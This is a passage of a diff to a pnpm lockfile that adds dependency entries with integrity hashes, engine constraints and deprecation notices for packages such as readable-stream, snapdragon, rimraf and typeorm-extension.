'>= 0.8.0'} @@ -4312,6 +5243,12 @@ packages: typescript: optional: true + process-nextick-args@2.0.1: + resolution: {integrity: sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==} + + promise-breaker@6.0.0: + resolution: {integrity: sha512-BthzO9yTPswGf7etOBiHCVuugs2N01/Q/94dIPls48z2zCmrnDptUUZzfIb+41xq0MnYZ/BzmOd6ikDR4ibNZA==} + prompts@2.4.2: resolution: {integrity: sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==} engines: {node: '>= 6'} @@ -4327,6 +5264,9 @@ packages: resolution: {integrity: sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==} engines: {node: '>=10'} + punycode@1.4.1: + resolution: {integrity: sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==} + punycode@2.3.1: resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} engines: {node: '>=6'} @@ -4348,6 +5288,10 @@ packages: resolution: {integrity: sha512-Rzq0KEyX/w/tEybncDgdkZrJgVUsUMk3xjh3t5bv3S1HTAtg+uOYt72+ZfwiQwKdysThkTBdL/rTi6HDmX9Ddw==} engines: {node: '>=0.6'} + query-string@7.1.3: + resolution: {integrity: sha512-hh2WYhq4fi8+b+/2Kg9CEge4fDPvHS534aOOvOZeQ3+Vf2mCFsaFBYj0i+iXcAq6I9Vzp5fjMFBlONvayDC1qg==} + engines: {node: '>=6'} + queue-microtask@1.2.3: resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} @@ -4355,6 +5299,9 @@ packages: resolution: {integrity: sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==} engines: {node: '>= 0.6'} + rapiq@0.9.0: + resolution: {integrity: sha512-k4oT4RarFBrlLMJ49xUTeQpa/us0uU4I70D/UEnK3FWQ4GENzei01rEQAmvPKAIzACo4NMW+YcYJ7EVfSa7EFg==} + raw-body@3.0.2: resolution: {integrity: sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==} engines: {node: '>= 0.10'} @@ -4398,10 +5345,16 @@ packages: read-cache@1.0.0: resolution: {integrity: sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==} + readable-stream@2.3.8: + resolution: {integrity: sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==} + readable-stream@3.6.2: resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} engines: {node: '>= 6'} + readdir-glob@1.1.3: + resolution: {integrity: sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==} + readdirp@3.6.0: resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} engines: {node: '>=8.10.0'} @@ -4421,6 +5374,9 @@ packages: react: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 react-dom: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + reflect-metadata@0.1.14: + resolution: {integrity: sha512-ZhYeb6nRaXCfhnndflDK8qI6ZQ/YcWZCISRAWICW9XYqMUwjZM9Z0DveWX/ABN01oxSHwVxKQmxeYZSsm0jh5A==} + reflect-metadata@0.2.2: resolution: {integrity: sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==} @@ -4428,10 +5384,31 @@ packages: resolution: {integrity: sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==} engines: {node: '>= 0.4'} + regex-not@1.0.2: + resolution: {integrity: sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==} + engines: {node: '>=0.10.0'} + regexp.prototype.flags@1.5.4: resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==} engines: {node: '>= 0.4'} + relative@3.0.2: + resolution: {integrity: sha512-Q5W2qeYtY9GbiR8z1yHNZ1DGhyjb4AnLEjt8iE6XfcC1QIu+FAtj3HQaO0wH28H1mX6cqNLvAqWhP402dxJGyA==} + engines: {node: '>= 0.8.0'} + + remarkable@1.7.4: + resolution: {integrity: sha512-e6NKUXgX95whv7IgddywbeN/ItCkWbISmc2DiqHJb0wTrqZIexqdco5b8Z3XZoo/48IdNVKM9ZCvTPJ4F5uvhg==} + engines: {node: '>= 0.10.0'} + hasBin: true + + repeat-element@1.1.4: + resolution: {integrity: sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==} + engines: {node: '>=0.10.0'} + + repeat-string@1.6.1: + resolution: {integrity: sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==} + engines: {node: '>=0.10'} + require-directory@2.1.1: resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} engines: {node: '>=0.10.0'} @@ -4458,6 +5435,10 @@ packages: resolve-pkg-maps@1.0.0: resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==} + resolve-url@0.2.1: + resolution: {integrity: sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==} + deprecated: https://github.com/lydell/resolve-url#deprecated + resolve.exports@2.0.3: resolution: {integrity: sha512-OcXjMsGdhL4XnbShKpAcSqPMzQoYkYyhbEaeSko47MjRP9NfEQMhZkXL1DoFlt9LWQn4YttrdnV6X2OiyzBi+A==} engines: {node: '>=10'} @@ -4480,6 +5461,10 @@ packages: resolution: {integrity: sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==} engines: {node: '>=18'} + ret@0.1.15: + resolution: {integrity: sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==} + engines: {node: '>=0.12'} + reusify@1.1.0: resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} engines: {iojs: '>=1.0.0', node: '>=0.10.0'} @@ -4487,6 +5472,11 @@ packages: rfdc@1.4.1: resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==} + rimraf@2.7.1: + resolution: {integrity: sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==} + deprecated: Rimraf versions prior to v4 are no longer supported + hasBin: true + rimraf@3.0.2: resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} deprecated: Rimraf versions prior to v4 are no longer supported @@ -4509,6 +5499,9 @@ packages: resolution: {integrity: sha512-wtZlHyOje6OZTGqAoaDKxFkgRtkF9CnHAVnCHKfuj200wAgL+bSJhdsCD2l0Qx/2ekEXjPWcyKkfGb5CPboslg==} engines: {node: '>=0.4'} + safe-buffer@5.1.2: + resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} + safe-buffer@5.2.1: resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} @@ -4520,9 +5513,20 @@ packages: resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==} engines: {node: '>= 0.4'} + safe-regex@1.1.0: + resolution: {integrity: sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==} + safer-buffer@2.1.2: resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + sax@1.6.0: + resolution: {integrity: sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA==} + engines: {node: '>=11.0.0'} + + saxes@5.0.1: + resolution: {integrity: sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==} + engines: {node: '>=10'} + scheduler@0.23.2: resolution: {integrity: sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==} @@ -4534,6 +5538,10 @@ packages: resolution: {integrity: sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA==} engines: {node: '>= 10.13.0'} + self-closing-tags@1.0.1: + resolution: {integrity: sha512-7t6hNbYMxM+VHXTgJmxwgZgLGktuXtVVD5AivWzNTdJBM4DBjnDKDzkf2SrNjihaArpeJYNjxkELBu1evI4lQA==} + engines: {node: '>=0.12.0'} + semver@6.3.1: resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} hasBin: true @@ -4562,10 +5570,21 @@ packages: resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==} engines: {node: '>= 0.4'} + set-getter@0.1.1: + resolution: {integrity: sha512-9sVWOy+gthr+0G9DzqqLaYNA7+5OKkSmcqjL9cBpDEaZrr3ShQlyX2cZ/O/ozE41oxn/Tt0LGEM/w4Rub3A3gw==} + engines: {node: '>=0.10.0'} + set-proto@1.0.0: resolution: {integrity: sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==} engines: {node: '>= 0.4'} + set-value@2.0.1: + resolution: {integrity: sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==} + engines: {node: '>=0.10.0'} + + setimmediate@1.0.5: + resolution: {integrity: sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==} + setprototypeof@1.2.0: resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} @@ -4620,16 +5639,44 @@ packages: resolution: {integrity: sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==} engines: {node: '>=18'} + smob@1.6.2: + resolution: {integrity: sha512-RQsvleCbF8cVHEv+xuDGaA4pOizFqJ0GgjtMSRo6oP8pnN7WsigHgVGey6aILRBKv4W2YOMHLqbKdnB6hpB9fw==} + engines: {node: '>=20.0.0'} + + snapdragon-node@2.1.1: + resolution: {integrity: sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==} + engines: {node: '>=0.10.0'} + + snapdragon-util@3.0.1: + resolution: {integrity: sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==} + engines: {node: '>=0.10.0'} + + snapdragon@0.8.2: + resolution: {integrity: sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==} + engines: {node: '>=0.10.0'} + source-map-js@1.2.1: resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} engines: {node: '>=0.10.0'} + source-map-resolve@0.5.3: + resolution: {integrity: sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==} + deprecated: See https://github.com/lydell/source-map-resolve#deprecated + source-map-support@0.5.13: resolution: {integrity: sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==} source-map-support@0.5.21: resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==} + source-map-url@0.4.1: + resolution: {integrity: sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==} + deprecated: See https://github.com/lydell/source-map-url#deprecated + + source-map@0.5.7: + resolution: {integrity: sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==} + engines: {node: '>=0.10.0'} + source-map@0.6.1: resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} engines: {node: '>=0.10.0'} @@ -4638,6 +5685,14 @@ packages: resolution: {integrity: sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==} engines: {node: '>= 8'} + split-on-first@1.1.0: + resolution: {integrity: sha512-43ZssAJaMusuKWL8sKUBQXHWOpq8d6CfN/u1p4gUzfJkM05C8rxTmYrkIPTXapZpORA6LkkzcUulJ8FqA7Uudw==} + engines: {node: '>=6'} + + split-string@3.1.0: + resolution: {integrity: sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==} + engines: {node: '>=0.10.0'} + split2@4.2.0: resolution: {integrity: sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==} engines: {node: '>= 10.x'} @@ -4649,6 +5704,10 @@ packages: resolution: {integrity: sha512-ed7OK4e9ywpE7pgRMkMQmZDPKSVdm0oX5IEtZiKnFucSF0zu6c80GZBe38UqHuVhTWJ9xsKgSMjCG2bml86KvA==} engines: {node: '>=14'} + ssf@0.11.2: + resolution: {integrity: sha512-+idbmIXoYET47hH+d7dfm2epdOMUDjqcB4648sTZ+t2JwoyBFL/insLfB/racrDmsKB3diwsDA696pZMieAC5g==} + engines: {node: '>=0.8'} + stable-hash@0.0.5: resolution: {integrity: sha512-+L3ccpzibovGXFK+Ap/f8LOS0ahMrHTf3xu7mMLSpEGU0EO9ucaysSylKo9eRDFNhWve/y275iPmIZ4z39a9iA==} @@ -4656,10 +5715,17 @@ packages: resolution: {integrity: sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==} engines: {node: '>=10'} + static-extend@0.1.2: + resolution: {integrity: sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==} + engines: {node: '>=0.10.0'} + statuses@2.0.2: resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==} engines: {node: '>= 0.8'} + std-env@3.10.0: + resolution: {integrity: sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==} + stop-iteration-iterator@1.1.0: resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==} engines: {node: '>= 0.4'} @@ -4668,6 +5734,10 @@ packages: resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==} engines: {node: '>=10.0.0'} + strict-uri-encode@2.0.0: + resolution: {integrity: sha512-QwiXZgpRcKkhTj2Scnn++4PKtWsH0kpzZ62L2R6c/LUVYv7hVnZqcg2+sMuT6R7Jusu1vviK/MFsu6kNJfWlEQ==} + engines: {node: '>=4'} + string-argv@0.3.2: resolution: {integrity: sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==} engines: {node: '>=0.6.19'} @@ -4711,6 +5781,9 @@ packages: resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==} engines: {node: '>= 0.4'} + string_decoder@1.1.1: + resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==} + string_decoder@1.3.0: resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} @@ -4742,10 +5815,19 @@ packages: resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} engines: {node: '>=8'} + striptags@3.2.0: + resolution: {integrity: sha512-g45ZOGzHDMe2bdYMdIvdAfCQkCTDMGBazSw1ypMowwGIee7ZQ5dU0rBJ8Jqgl+jAKIv4dbeE1jscZq9wid1Tkw==} + + strnum@1.1.2: + resolution: {integrity: sha512-vrN+B7DBIoTTZjnPNewwhx6cBA/H+IS7rfW68n7XxC1y7uoiGQBxaKzqucGUgavX15dJgiGztLJ8vxuEzwqBdA==} + strtok3@10.3.5: resolution: {integrity: sha512-ki4hZQfh5rX0QDLLkOCj+h+CVNkqmp/CMf8v8kZpkNVK6jGQooMytqzLZYUVYIZcFZ6yDB70EfD8POcFXiF5oA==} engines: {node: '>=18'} + style-object-to-css-string@1.1.3: + resolution: {integrity: sha512-bISQoUsir/qGfo7vY8rw00ia9nnyE1jvYt3zZ2jhdkcXZ6dAEi74inMzQ6On57vFI+I4Fck6wOv5UI9BEwJDgw==} + styled-jsx@5.1.1: resolution: {integrity: sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==} engines: {node: '>= 12.0.0'} @@ -4759,6 +5841,10 @@ packages: babel-plugin-macros: optional: true + success-symbol@0.1.0: + resolution: {integrity: sha512-7S6uOTxPklNGxOSbDIg4KlVLBQw1UiGVyfCUYgYxrZUKRblUkmGj7r8xlfQoFudvqLv6Ap5gd76/IIFfI9JG2A==} + engines: {node: '>=0.10.0'} + sucrase@3.35.1: resolution: {integrity: sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==} engines: {node: '>=16 || 14 >=14.17'} @@ -4809,6 +5895,10 @@ packages: resolution: {integrity: sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==} engines: {node: '>=6'} + tar-stream@2.2.0: + resolution: {integrity: sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==} + engines: {node: '>=6'} + tar@6.2.1: resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==} engines: {node: '>=10'} @@ -4880,9 +5970,19 @@ packages: thenify@3.3.1: resolution: {integrity: sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==} + through2@2.0.5: + resolution: {integrity: sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==} + + through2@4.0.2: + resolution: {integrity: sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==} + through@2.3.8: resolution: {integrity: sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==} + time-stamp@1.1.0: + resolution: {integrity: sha512-gLCeArryy2yNTRzTGKbZbloctj64jkZ57hj5zdraXue6aFgd6PmvVtEyiUU+hvU0v7q08oVv8r8ev0tRo6bvgw==} + engines: {node: '>=0.10.0'} + tiny-invariant@1.3.3: resolution: {integrity: sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==} @@ -4894,6 +5994,10 @@ packages: resolution: {integrity: sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==} engines: {node: '>=12.0.0'} + tmp@0.2.7: + resolution: {integrity: sha512-e0votIpp4Uo2AJYSzVHV6xCcawuiez3DzqDAbrTc3YxBkplN6e+dM13ZeIcZnDg/QpSuU2zfZ3rzwY8ukEnaXw==} + engines: {node: '>=14.14'} + tmpl@1.0.5: resolution: {integrity: sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==} @@ -4901,10 +6005,26 @@ packages: resolution: {integrity: sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==} engines: {node: '>= 0.4'} + to-gfm-code-block@0.1.1: + resolution: {integrity: sha512-LQRZWyn8d5amUKnfR9A9Uu7x9ss7Re8peuWR2gkh1E+ildOfv2aF26JpuDg8JtvCduu5+hOrMIH+XstZtnagqg==} + engines: {node: '>=0.10.0'} + + to-object-path@0.3.0: + resolution: {integrity: sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==} + engines: {node: '>=0.10.0'} + + to-regex-range@2.1.1: + resolution: {integrity: sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==} + engines: {node: '>=0.10.0'} + to-regex-range@5.0.1: resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} engines: {node: '>=8.0'} + to-regex@3.0.2: + resolution: {integrity: sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==} + engines: {node: '>=0.10.0'} + toidentifier@1.0.1: resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} engines: {node: '>=0.6'} @@ -4916,6 +6036,9 @@ packages: tr46@0.0.3: resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==} + traverse@0.3.9: + resolution: {integrity: sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ==} + ts-api-utils@2.5.0: resolution: {integrity: sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==} engines: {node: '>=18.12'} @@ -5031,6 +6154,18 @@ packages: typedarray@0.0.6: resolution: {integrity: sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==} + typeof-article@0.1.1: + resolution: {integrity: sha512-Vn42zdX3FhmUrzEmitX3iYyLb+Umwpmv8fkZRIknYh84lmdrwqZA5xYaoKiIj2Rc5i/5wcDrpUmZcbk1U51vTw==} + engines: {node: '>=4'} + + typeorm-extension@3.9.0: + resolution: {integrity: sha512-LCVo/7zEh59/+Ig+WsXFbuu1gvU7EilIOH1vwxTG2eAiKmteaTQlID9c1x/PQH2IyZ+Lk4htbWf1d9QieKrpPQ==} + engines: {node: ^20.19.0 || ^22.13.0 || ^23.5.0 || >=24.0.0} + hasBin: true + peerDependencies: + '@faker-js/faker': '>=8.4.1' + typeorm: ~0.3.0 + typeorm@0.3.30: resolution: {integrity: sha512-8T35PzjefOdqc2ZR9mwLQj0pUGp6lQhMbK2EvVMwJVJWlaoHm0v/Q6dThNOZkFchD+0yMg8gwjKM28ePiLSXSQ==} engines: {node: '>=16.13.0'} @@ -5118,6 +6253,10 @@ packages: resolution: {integrity: sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==} engines: {node: '>=18'} + union-value@1.0.1: + 